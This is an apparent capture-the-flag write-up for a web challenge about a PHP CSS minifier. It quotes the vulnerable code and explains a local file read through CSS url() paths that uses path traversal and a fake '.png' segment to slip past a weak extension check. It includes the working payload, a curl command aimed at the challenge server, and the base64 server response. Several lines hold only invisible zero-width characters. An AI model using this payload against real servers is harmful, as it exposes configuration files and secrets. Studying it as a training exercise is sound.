← Back to Writeups
CUSTOMEasyWeb

CSS

XESXOR9/10/20262 min read
#web#custom#easy#css_url_injection#file_get_contents_lfi#path_traversal_with_fake_exten#source_code_review#weak_extension_check_bypass#linux

CSS

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-15 | Status: Solved Techniques: css_url_injection, file_get_contents_lfi, path_traversal_with_fake_extension, source_code_review, weak_extension_check_bypass

Summary

Task: CSS minifier web app with source code on GitHub. Solution: LFI via file_get_contents() on user-controlled CSS url() path, bypassing weak stripos() extension check with path traversal.

CSS — spbctf

Description

Web application "Minify Them All!!1" — a CSS minifier that accepts CSS code and returns a minified version. Source code is available on GitHub (https://github.com/Sinketsu/kids-css-minify), public directory: /var/www/html/public.

Analysis

Reviewing the repository revealed a custom Minifier.php class with a critical vulnerability in the importFiles() method:

php
protected function importFiles($source, $content)
{
    $regex = '/url\((["\']?)(.+?)\\1\)/i';
    if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) {
        $search = [];
        $replace = [];
        foreach ($matches as $match) {
            $path = $match[2];
            if (!$this->isImage($path)) {
                continue;
            }
            $importContent = file_get_contents($path);
            $importContent = base64_encode($importContent);
            $search[] = $match[0];
            $type = "image/jpeg";
            $replace[] = 'url(data:'.$type.';base64,'.$importContent.')';
        }
        $content = str_replace($search, $replace, $content);
    }
    return $content;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerabilities:

  1. Unsanitized file_get_contents($path) — The path from CSS url() is passed directly to file_get_contents() without sanitization, allowing arbitrary local file reads (LFI/SSRF).

  2. Weak isImage() check — Uses stripos($path, $ext) > 0, checking only for the presence of an image extension anywhere in the path, not at the end of the filename.

The config/app.php file in the repository contains a flag placeholder, indicating the location of the real flag.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The exploit creates a CSS payload with url() containing a path that:

  • Includes .png somewhere in the path to bypass the isImage() check
  • Uses path traversal (../) to resolve to the target file

Payload:

css
body{background:url("/var/www/html/config/.png/../app.php")}

Command:

bash
curl -s -X POST 'https://2019-11-10-css.ctf.su/compress.php' \
  -d 'css=body{background:url("/var/www/html/config/.png/../app.php")}'

Server response:

json
{"mini":"body{background:url(data:image\/jpeg;base64,PD9waHAKCi8vIEhleSwgdGhlcmUhIENURiBmbGFnIHdpbGwgYmUgaGVyZToKJENURl9GTEFHID0gJ3NwYmN0Znt2ZXJ5X3dlYWtfY2hlY2tfeWVhaD99Jzs=)}"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoded base64:

php
<?php

// Hey, there! CTF flag will be here:
$CTF_FLAG = 'spbctf{REDACTED}';

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍